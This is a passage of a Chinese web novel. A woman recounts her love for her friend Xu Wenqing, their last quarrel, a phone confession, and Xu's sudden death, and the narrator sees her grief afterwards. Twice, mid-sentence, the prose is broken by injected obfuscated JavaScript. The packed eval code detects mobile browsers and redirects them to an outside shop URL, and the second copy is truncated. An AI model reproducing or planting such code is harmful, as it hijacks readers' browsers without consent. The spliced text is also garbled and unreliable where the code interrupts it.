“就是平躺着,把手放在肚子上,闭上眼睛感受手心里软乎乎的触感,想象自己身体里的每一个器官都在为了自己而一刻不停地运作着,然后深呼吸,放松,相信自己会恢复健康。” 我听着应嘉的话,双手不自觉也放在了自己的肚子上。 应嘉瞧见,笑眼弯弯,“不用试了,后来清清告诉我,这是她自己胡编的。” 我“啊”了声,“为什么?” “她说听见我被烧得说胡话,怕我害怕,就想了这个法子。” 我追问是什么胡话,应嘉却说她也不知道。她说她后来也追问过徐文清,但是徐文清只含糊说就是一些让人听了很生气的话。 具体是什么,无从得知。 (十七) 我问应嘉,那几年里最快乐的是什么事。 对于这个问题,应嘉想了很久,最后说实在选不出来最快乐的是哪一件。 我出主意说,那就说一件我刚问出这个问题时,她脑海里浮现的第一件事。 应嘉神色恍惚了一瞬, “有一次,在玉阳,傍晚,我们经过公园,看见好多人在跳广场舞,清清忽然指着一块跳交谊舞的地方,问我要不要也一起去试试。我说我们俩都只会女步怎么一起,清清说,她大学选修的那个交谊舞课男少女多,所以她跳的是男步。 于是我俩就凑到人家队伍的最后,结果两个人步法都忘得差不多了,根本跟不上,不得已退了出去准备回家。 那时我租的房子在一个老小区里,路灯少得可怜,到了楼栋旁转弯进去,摸黑走一小段,一直到尽头单元门处才有一盏灯。 我俩走到那里后,清清拉住我,问,要不在这片空地练习一下。 我说好。 我俩就在那盏路灯下一起小声数着拍子练习,一开始就是笨拙地踩脚,她踩我我睬她,帆布鞋上都是脚印,练了一遍又一遍,才终于可以有模有样地在那片空地上转上几圈。 那盏路灯是太阳能的,那几天天气不好,灯根本不够亮,昏黄昏黄的,照在衣服上显得衣服像蒙了层纱,照在清清脸上,也显得她脸上的笑都有些不真实。 在那之前,已经有很长一段日子,她总是被愁绪压着,来自工作的,来自家里的,我帮不了她,无能为力,只能默默陪着她。 那天晚上,我总是看着她的脸走神。 我在心里祈祷上天让时间可以过得慢一些,再慢一些。 就让她多开心一会儿,哪怕多一秒也是好的。” 这段话到了末尾时,应嘉声音已经小得几不可闻,她忽然别过脸去,像是遗憾又像是自嘲,“怪我平时一点儿都不虔诚,所以许愿也好,祈祷也罢,都没半点用。” 这如何能怪应嘉。 只是人在回忆时,难免会将一些莫须有的罪名安在自己身上,试图借此来设想另一种结局。 只是,只是,倘若只是生离……会至于遗憾到如此地步吗? 我心跳得快得过份。 这个念头第一次出现在我的脑海里。 我被吓得浑身都抖了下,借口去洗手间逃离了客厅。 洗手间里,窗户开着,仰头看去,一轮孤月皎皎泛着冷光,我扶着毛巾架,反复深呼吸。 我平时很虔诚的,遇见寺庙都会拜一拜,妈妈让我给神明敬香我也都会老老实实照做,所以我许愿是不是可以有点儿用处? 我求求上天,求求所有的神仙。 求求,别对应嘉这么残忍。 我回到客厅时,应嘉依旧蜷缩在沙发上。 我怕应嘉察觉出我的异样,便抢先一步开了口,“哎,2022年过年你们是一起过的吗?” 其实这答案我知道,之前有一次,应嘉随口说过22年她和徐文清一起过的年。 我故意问这个,是想让应嘉想点儿开心的事。 应嘉声音果然轻快了些,“嗯,一起在玉阳过的。” “徐文清竟然没回老家吗?” 应嘉点头又摇头,“其实是我们一起回了老家,又一起回了玉阳。” 我追问细节。 应嘉对于这一段明显记得很清晰,“本来是她回去,我自己留在玉阳的,后来我不小心听到应阿姨给清清打电话说给她介绍了一个男生一起吃饭,我就也买了票,跟着一起回去了。” 一起吃饭?男生?家里催着相亲吗? 我恍然大悟,开玩笑道,“是不是特别怕闺密被人骗了?不跟过去瞧瞧不放心?” 应嘉看了我一眼,神色竟有些怪异,“我也以为自己是这么想的。” 嗯?这是什么意思? 但我还没来得及问,应嘉就已经继续说了下去, “我们是坐绿皮火车一起回去的,那年春运竟然不大挤,我买票买得那样晚还买到了坐票,清清央人换了位置,坐在了我旁边。 在车上,清清时不时就把手机亮屏看时间,我每次都故意装睡,一眼都不想看。 她肯定很想早点到家,但我不是,我隐秘地希望,列车可以永远不到站。 但我不敢告诉她。” 应嘉微微呼了一口气,“我们一起到县城后,我骗她说我回乡下了,实际上根本没有,我只是找了家酒店住了下来而已。” 我疑惑,“等一下,徐文清知道你为什么回老家吗?” “不知道……我撒谎说是有东西在老家,想趁过年假期回家拿。” “所以,她也不知道你知道了她准备相亲的事?” “……不知道。” “啊,那这样你怎么帮忙看看男方怎么样呢?” “……不知道,”应嘉说,“我其实连她具体在哪天在什么地方相亲都不知道。” 我一头雾水,“那后来呢?” “我也不知道当时为何不直接问问清清……但反正就是没问,第二天我醒得很早,醒来后,自己也不知道去哪儿,就在县城里乱晃,我想,她相亲的话,没准会和对方约在咖啡店。” 试图这样找到徐文清吗?这未免太异想天开了……我这想法刚落地,余光看见应嘉的眼睛,不由得一愣,不会吧,还真遇到了? 应嘉点头, “是的。我把几条商业街全部都走遍了后,低头看地图时,一抬头就看见她在一家叫Mossi的咖啡店里。但我没敢过去。” “那你看见她的相亲对象了吗?” “只远远看了一眼。因为清清突然出来了。” “啊?她看见你了?” 应嘉摇头,“没有,是外面突然下雪了,她出来拍照。” 拍照。 小雪,小雪,快看,外面在下雪。 看着应嘉眼睛里闪闪的笑意,我感觉自己应该是猜到了真相。 我突然觉得,在问那场相亲的后续之前,我应该先问个别的问题。 我不想面对。 一口气喝光了杯子里的水,嗓子依旧干涩。 我在心里反复措辞,试图找到一句不那么突兀但又可以得到准确答案的话,但最终发现,都不如直接问的好。 我看向应嘉,“那个……你对徐文清,是喜欢吗?” 我自认为用了很大的声音,自认为吐词清晰,实际上声音一出来,我才发现音量又小又含糊,还有着局促。 我怕应嘉不明白,试图问得更明白些,“不是好朋友之间的那种喜欢,而是……或许用爱会更确切一些。你对她,是爱吗?” 应嘉脸上并没有惊讶的表现。 我觉得自己呼吸都要静止了。 应嘉眸子很认真,也很坦诚。 她问我,“什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459057|201260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的才是你说的那种喜欢和爱呢?” 这是我遇到的最难回答的问题。 我没法概括。 也没法穷尽列举。 我讷讷无言时,应嘉开口了,她说, “在那天,我看到清清那个相亲对象时,其实我从没想过他好不好,他和清清合适不合适,我只是想,为什么我不可以坐在他的位置上。” (十八) 应嘉说这话时,目光很是执着。 但我明白,她不是在向我寻求问题的答案。 她说,“我不知道你们所说的爱到底是什么样子的,拥有这种爱到底什么感受,我只知道,我只想永远和清清在一起,朋友也可以,爱人也可以,亲人也可以,反正什么名义都无所谓。” 我看着应嘉透亮的眸子,说不出反驳的话来,只能委婉指出应嘉话中的矛盾,“这些还是有区别的……比如,如果你只是朋友,那你就没有名义阻拦她相亲,也没有名义阻拦她和别人结婚,和别人组成新的家庭,开启新的生活。” 应嘉眼中的倔强一下子就溃散了。 我从没见过这样脆弱的应嘉。 我不忍心看她的眼睛,目光落在手中水杯上。 室内一片安静。 我实在是喘不过气来了,我觉得自己必须说点儿什么才行,我说,“其实也没什么好纠结的,你可以做她的爱人啊,这样不就什么都名正言顺了吗?” 这话出口,我就后悔了。 我恨不能时光倒流,让我重新把这话吞回肚子里,这样就不必听到应嘉那样空白又无助的声音了。 应嘉说, “可是□□人,不是要两情相悦才可以么?” 两情相悦。 什么都能勉强,感情不能。 尤其是其中还夹杂着性取向这一巨大的鸿沟。 我垂死挣扎,“或许,或许徐文清也喜欢你呢?只是你没问她——” “我问了。” 我错愕抬头,看见应嘉神色已经恢复了平静,彷佛如今在说的已经是旁人的事情。 只有仔细看时,才彷佛可以从眼角处发现一点点潮湿的痕迹。 她抿了抿唇, “我问她了,但是她说,我对她的感情不是爱,只是我的朋友太少了,所以把依赖和习惯当成了爱。 至于她对我,我想,估计就只是把我当朋友吧。” 我想起上一个问题,问应嘉那场相亲的后续。 应嘉摇摇头, “没有后续了,可能是不合适吧。反正在那天的晚上,清清就突然给我发消息说,她准备提前回渚蘅,问我是和她一起回,还是在家里过完年再回。我本来回家就没什么事,当然和她一起回了,然后我们到了渚蘅后,直接就一起去了玉阳,在玉阳过了除夕和春节。” “这样看,可能徐文清也不想相亲吧?” 应嘉“嗯”了声,“清清偶尔和我抱怨过一两次……但其实结局还是会一样的,清清很爱家人,我从没见过她和应阿姨他们吵过架,所以只要应阿姨坚持,清清自己也没办法的。” 我皱起眉头,听这话,看来是那场相亲后还有其他的场次? “具体几次我也记不清了……23年五一放假时,清清好不容易可以放松几天,结果应阿姨电话说清清爸爸病了,让清清回家,但清清回家后,才知道家人根本没事,只是想让她回家见见。 再后来,23年中秋国庆假期时,清清明明已经说好和我一起回玉阳过的,但是应阿姨又来了电话。 也是在那一次,我们大吵了一架。” 这是我第一次从应嘉口中听到她和徐文清之间竟然还会吵架。 其实我都想象不出来应嘉这样性格的人和人吵架会是什么样子。在我看来,应嘉是那种和人发生矛盾,也只会用一双平静的眸子看着对方,提出解决方案的人。 应嘉失笑, “其实我们吵架吵过很多次,只是那次闹到几乎无法收场的地步。 当时我们在市区一家石锅拌饭店里吃饭,她一边吃一边买回去的车票。 我实在没胃口,硬撑着吃完饭一起回她住的地方,一路上,谁也没说话。 后来一直冷战到晚上洗漱完,我站在床前问她,为什么明明知道应阿姨是骗她的,她还要回家去。 她不回答,只催促我快点上床睡觉。 最后,估计是被我问到不耐烦了,她说,没什么为什么,就算是谎话又怎么了,她就当是回去哄哄应阿姨开心了。 我没话可说,就换掉睡衣要回玉阳。 她质问我能不能别闹小孩子脾气,大半夜的根本没车,我反问她为什么提前答应了和我一起过中秋,却又出尔反尔。 她吵不过我,就开始扯东扯西。 我气不过,也跟着一起翻一些陈年烂谷子的旧账。 一直吵到两个人都面红耳赤,说尽了狠心的话,躺在床上,一人一条毯子,说等天一亮就各奔东西,干脆再也不来往了,也别做朋友了,更不要见面了。 我吵架把脑子都吵丢了,说了一句最愚蠢的话。我竟然问她,如果要在我和她的家人之间做一个选择,是不是我永远是被放弃的那一个。 她没回答。 她伸手牵我的手,我躲开了。 我真不该躲开的。 明明之前我们都习惯手牵手着睡觉。 明明那个问题是我自己无理取闹。” “再后来呢?” 应嘉膝盖蜷缩起,脸颊埋在膝盖上的抱枕里, “本以为一夜都会失眠,没想到后来不知不觉竟睡着了,我醒来时,她已经走了。我慌里慌张也买了一张回去的车票,打车去火车站。 进站验票时,身份识别始终错误,我才发现我买错了日期。 那天的票早没了 明天的也没了。 后天的也没了。 我买不到票。” 8. 下弦月 (十九) 正月初十那天晚上,直到我最后离开客厅去睡觉时,应嘉都没有把脸从抱枕里抬起来。 我想多陪一陪她。 但是又隐隐感觉到,或许应嘉更需要独处的时光来整理搅成一团的过往。 还有那个我始终不敢细想的结局,却在我心里肆无忌惮地扎根生长。 我早该想到的。 唯有死别,才会让生者这样如同丧失了一半的心脏。 不,或许对应嘉来讲,是大半颗心都已经没了。 我未曾经历过这样的苦痛,但只要一想到,倘若有一天妈妈离开我了……不不不,我根本没勇气想。我拒绝想。 这太可怕了。 绝大部分事情都有可以挽回与补救的余地。 你可以在成年后买一堆小时候最渴望的那种洋娃娃,也可以不远万里去找寻某个你曾在语文课本封面上好奇过的风景,还可以冲动之下找到那时欺负过自己的人面前不顾后果地狠狠给他一拳。 但在死亡面前,只有无能为力。 不然呢。 这世上所有的聪明才智,所有的金银珠宝,所有的医学奇迹,也无法让一个人死去的人重新拥有呼吸,重新走到你面前,像以往你们认识的那样,露出一个熟悉笑容,说一声好久不见。 我滑坐在地板上,想到应嘉,想到徐文清,脑袋如同装了一桶水一样,只剩下晕眩。 正月十一。 我醒来时才早上八点多,我不记得前一晚有没有听到应嘉回卧室的声音了,赶紧出去看,没想到应嘉已经买了早餐回来。 我一边吃早餐,一边悄悄观察应嘉的神色。 但除了平静之外,我没发现任何异常。 我心里一口气松下又提起,提起又松下。 直到后面一连几天,应嘉都和往常没什么差别,我才真正安心了些。 她工作要元宵节过后才正式开始,在那之前,偶尔会有一些线上会议,我听过几耳朵,都是一些新学期的分班、有的班需要更换老师、教学进度安排之类的。 一直到元宵节当天—— 应嘉明显比往常要开心些,下午我们一起去超市,买了些汤圆之外,应嘉还专门买了一点儿黄豆面。 应嘉说,她老家那边有正月十五捏面灯的习俗。 我还没见过面灯,特别好奇,一回到家就跟着应嘉一起进了厨房看她做。 应嘉见我期待那样高,面上倒是有些赧然,说她不会做复杂的,只会最最简单的那种,是徐文清教她的。 我看了一会儿,对她口中的这个“会”表示怀疑。 应嘉试图把黄豆面和成面团,结果水多了加面,面多了加水,幸好最后我看出再加水的话面就不够了,及时拦住了应嘉,才不至于让面团最后变成面糊。 应嘉清咳几声,想要掩饰尴尬,结果自己先绷不住了,笑着摇摇头,继续折腾面团。 最后总算做好了。 手心大小的一个,捏成圆滚滚的酒盅形状,只是在边缘处,又多捏了一圈薄薄的裙边,算不上精致,但是胜在有种笨拙的可爱。 应嘉把面灯放到蒸笼里准备开蒸,我到旁边把汤圆下到锅里。 买的什锦馅的汤圆,刚好应嘉一碗,我一碗。 汤圆吃完,应嘉把碗筷都洗了,然后把蒸好了的面灯从锅里拿了出来。 她拿了一根棉签头朝上插在面灯里,然后倒了些食用油进去。棉签被食用油侵湿,带着点润润的光泽。 我递了打火机过去。 火苗从打火机上蔓延到棉签上。 小小一簇,被风一吹,四下里摇晃。 应嘉用手心护着它,小心翼翼,把面灯从厨房端到了客厅沙发前的小圆桌上。 时间其实还早,但天气阴沉,外面倒是已经黑透了。 我过去把灯关了。 一瞬间,面灯的火苗成了全部的光源。 应嘉坐在地毯上,笑着和我说谢谢。 泛着暖意的火苗将她的笑眼映衬得毛茸茸的,我忍不住也跟着一起笑。 我在应嘉对面坐下。也学她一样,不坐椅子,就坐在地毯上。 下巴只比圆桌高一点,一抬眼,就可以看见时刻跳跃着的光源。 我等待着应嘉开口。 我想,她大概有话想说。 我心里很期盼,我想,如果应嘉愿意开口,是不是至少是一种正面的希冀呢。 反正,什么都好过沉默。 但应嘉很长一段时间都没说什么话。 她只是看着那盏面灯,看得那样认真和投入。 一直到,一直到,小区外响起了几声烟花声,应嘉才似是如梦初醒般。 她问我,是不是已经猜到了。 我点头。 她没说猜到了什么,我也没说,但我们都知道是什么意思。 死这个字,用“走了”“离开”“长眠”等一系列的词去替代,都没法磨损半点它的残酷。 应嘉垂下眼帘, “我们争吵那天,是最后一面。” 我呼吸一下子就凝住了,我没想到会比我想象中的还残酷。 应嘉微微侧过脸,像是为了防止说话时的气息把火苗吹得飘摇, “那天我买不到票,回不去,而且公司是提前放假提前上班,和法定节假日是错开一部分的。 我只能先回了玉阳,我想着,等清清回来了,我就和她道歉,我们还是和好吧,我再也不犯蠢问那样的问题了。 后来到第二天我就撑不住了,我觉得还是先线上说一下更好些。 在那样的关键时刻,我那点儿自尊心开始作祟,我犹犹豫豫,我懦弱胆怯,我怕先服软了还被拒绝。 我就那样耗着,耗到我开始上班,试图用工作繁忙掩盖心不在焉。 一直到十月六号,清清发消息给我。 她说她已经回来了,让我等她,她下周周六来找我。 我一下子就觉得人也活过来了,心也晴朗了。 我和她说,上次是我不对,让她别生气。 她说,她根本没生气,那天早上见我睡得熟,所以没叫醒我。” 这几句话,和吵闹后重新和好的小情侣没什么差别,甚至有种小别胜新婚的甜蜜感。 我的心彷佛分隔成了两半,一半被应嘉回忆起这一段时面上不自觉浮现的笑意牵动着,还有一半,在胆战心惊等着那个越来越逼近的结局。 应嘉眼中的笑意越来越多,但声音却越来越不真切, “十月七号和八号其实是周六日,但因为调休都要上班,我每一天都在盼着十月十四号赶快到来,赶快到来,可到了那天后,清清因为有紧急项目,需要加大班,我说没关系,等我上完周日的课,去市区找她也是一样的。 那个时候,我周日是满课,下午从一点开始上,先上两个小时六年级班,再上一个半小时四年级班。 在四年级班课间休息时,清清忽然给我打了电话。 她怕我被扣绩效,很少在我上课日打电话给我,那是第一次。 她电话里笑着问我,会不会被老板发现扣绩效,我吓唬她说,刚好在上课,肯定被扣了。 她说扣多少她给我补多少,让我先别挂电话,听她说几句话。 她好像很紧张,呼吸声隔着电话都依旧清晰。 她说,本来想见面了再说的,但实在等不及了,忍不住打了电话过来。 我很疑惑,催促她快点说,不然就要挂电话了。 她就那样开口了,没给我半点预告。 她说,小雪,我们以后可以永远在一起吗? 当时好多小朋友在办公室外面叽叽喳喳,还有我班里的学生探着脑袋进来问我下节课是不是要考试,工位对面的助理老师小声问我打印机卡纸了怎么办,那样混乱的夏日午后,我真怀疑我幻听了。 我像个傻子一样地问她,什么叫永远在一起。 她说,没有第三个人,只有我们两个人。 我还想再问一遍,但是她说不许再问了,等见面再说,就先挂断了电话。” 应嘉的声音越来越飘忽,越来越像是在梦境中, “那个时候,我整个人都飘在半空中,整个公司里到处都是云朵,每走一步,脚底下都是软绵绵的。 我真觉得这世上一切怎么都那么可爱,学生可爱,同事可爱,老板可爱,试卷可爱,绿植可爱,地板砖可爱,教案本可爱……唯一不可爱的就是时间,太慢了,太慢了,一节课四十分钟怎么那么长,我希望我眨个眼的功夫就下班了。 我要立马去市区,我要到清清公司门口等她,我要再问一百遍,永远在一起是什么意思。 我想听她面对面和我解释一百遍。 我还要面对面对她说一万遍,可以,当然可以,永远可以。” 作为听众,这一刻,我觉得我也在梦境中。 又酸又涩的梦境。 我从没想过,有一天,会在看着一双笑眼时体会到如同刀割般密密麻麻的疼。 紧张到极致,我感到胃部在隐隐翻滚。我不敢乱动,我怕惊扰了应嘉。 而应嘉脸上的笑容已经变成了空白, “后来终于下课了,我骑电动车去高铁站,坐高铁去市区,从市区到创新园区,进大门走最近的路到B2栋,我给清清发消息说我到了,在一楼邻几门口等她。 她没回消息。我想着她可能还没忙完。 邻几收银台有烤肠柜,香味溢得到处都是,我进去准备买两根,等下带到楼上去。 店里面还有几个没摘工牌的顾客在排队结账,有点像是同楼栋的一家广告设计公司的。 他们说什么人晕倒了救护车之类东西,我听了半耳朵,眼睛和脑子一直在思索等下要哪两根烤肠。 烤得不裂皮的不好吃,裂太大的会太老。 第二排,左侧的第一根和第二根看着就刚刚好。 我买好了,结账出门等电梯。虽然是周日,楼栋里来来往往的人却不少。 电梯里几个人也在窸窸窣窣地说话,什么年纪轻轻,什么洗手间,什么女生。 我没理会他们,按了楼层后就低头发消息,和清清说我马上就到她公司门口了。 有个人忽然转头问我,是不是在16层上班。 我还没说话,就有另外一个人问我,那个猝死的女生是不是你们公司的。 我真不明白,他们到底在讲什么。 我打电话给清清,一直一直没人接。 微信电话不行,直接拨手机号码也不行。 电梯到16层,这一层只有一家公司,玻璃门开着,前台没人,我往里走了走,看见清清工位上没人。 我送她的乐扣保温杯在桌子上,我们买的同款防晒服搭在椅背上,还有一盆多肉,是前不久教师节我公司发的,我不会养,清清就带到了她工位上来养。 有个中年男人从里面办公室走出来,看了我一眼,摆手说今天不用加班了,先回家去。 我说我不是这公司的员工,我来找人。 他问我找谁,我说我找徐文清。 他就忽然站住了,用眼睛扫视我,问我和徐文清什么关系。 他身后的办公室又出来了几个人,男男女女,都看着我,都在说些莫名其妙的话。 问我徐文清父母有几个孩子,又问我徐文清以前身体怎么样,还问我徐文清是不是有基础病。 我说我不知道。 我找的徐文清和他们口中的徐文清应该不是同一个人。 我找的徐文清身体健康,身高刚好一米六,长头发,喜欢简单扎成一个马尾,左右两侧有一点点碎发刘海,左眉梢有一颗褐红色的小小痣,笑起来眼睛像弯弯的月牙。 他们口中的,摔倒在卫生间地板上失去呼吸的,肯定不是我要找的徐文清。 这世界上一定有和徐文清同名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五点五十一分,应嘉乘坐电梯到了16层。 六点三十二分,在医院,医生宣布徐文清临床死亡。 应嘉当时就站在急救室的门外。 应嘉和我说这些的时候,面上带着笃定,她说这后面的许许多多其实都是她的梦境。 她说,包括徐文清给她打的那通电话里的内容也是她的梦境。 真实情况是,在那通电话中,徐文清说的是,她最近太累了,想要找一个安静的地方休息一阵儿,让应嘉不要担心她,更不要信外面那些不靠谱的传言,也不要告诉她爸妈。 应嘉还说,其实徐文清偷偷回来过一次。 那是徐文清躲起来后的一个月左右。 应嘉和我说这话时,我们正趁着雪停了在小镇广场的运动器材上活动冬日里僵硬的四肢。 应嘉把手肘撑在漫步机上,微微偏着脑袋看远处觅食的麻雀, “那一天,我想起很久都没有做饭了,就去超市买了蔬菜,准备做午饭。 我就会做一样东西,清清每次都说那是懒人饭。 先在小电锅里加水,倒点油,切一个番茄放进去,开始加热。 水煮开后,碗里勾兑一勺淀粉,一边加一边搅拌。 打一个鸡蛋进去。 加入鸭血,冬瓜,娃娃菜,海带苗,生菜,反正买了什么加什么。 再加入胡椒粉,辣椒粉,盐,醋,酱油。 煮到咕噜咕噜,关火,就可以吃了。 其实,我在做饭时,就已经知道她来了。 我装作不知道。 开始吃饭,把满满一大碗全部吃光,喝完最后一口汤,洗刷完灶台,和以前一样躺在客厅沙发上发呆,午后太阳晒得我暖融融的,眼睛都睁不开了,我就真睡着了过去。 后来我就听到清清催我快醒醒,不能再睡了不然晚上要失眠。 我说再睡一会嘛,她说下午要去图书馆还书,再不起来时间就来不及了。 但我困得睁不开眼睛。 模模糊糊的视线中,我想要拉住她一起躺下再睡会,可好几次都被她躲开了。 我问她,这些日子都去哪儿了呢。 她说,她去了一个人烟稀少的海边小镇。 我问她那个小镇风景好不好,她说,那小镇上有红彤彤的晚霞。 我说带着我一起行不行。 她不说话了。 她就那样站在沙发前,笑着看着我。 她总是这样,遇到不肯回答的问题,就只是笑着沉默。 我问她,我还可以再见到她吗? 她说,可以的,好好吃饭,好好睡觉,好好锻炼,她会来见我的。 我还有数不清的话要说。 可是她说,时间到了,她要走了。 那天下午,我到图书馆准备把之前借来的书都还了。 一共有三本,都是前些日子到市区帮清清整理房间时带回来的。 在图书馆还书台扫码验证时,有一本一直扫不上,我拿起来查看时,从里面掉出来一张薄薄的条形便利贴,上面写着泥金滩。” 我恍然大悟,“所以你就来了这里对吗?” 应嘉点头,看向太阳落下的方向,脸上泛起恬静的笑容, “她总是心软,问她时她不肯说,结果呢,还是悄悄在书页里给我留了提示。 我和应嘉一样看着远处。 这个叫耶耶的广场是小镇上最大的一个广场,正面视野开阔,一条大马路之隔,就是沙滩与海面。 不过今天并没有红彤彤的晚霞。 下了大半日的雪,半下午太阳才勉强冒尖,撑了没多大会就坠了下去,很是寡淡。 应嘉长长地呼了一口气,喃喃自语, “她到底什么时候肯出来见我一面呢?” 其实再寡淡的落日也能将人的双目刺得酸涩难耐。 我听着耳边的水滴声,忍不住地想,这世界上如果有一把神奇的伞该多好。 我可以把这把伞撑在应嘉头顶,让这无穷无尽的水滴别再把她淋得湿漉漉了。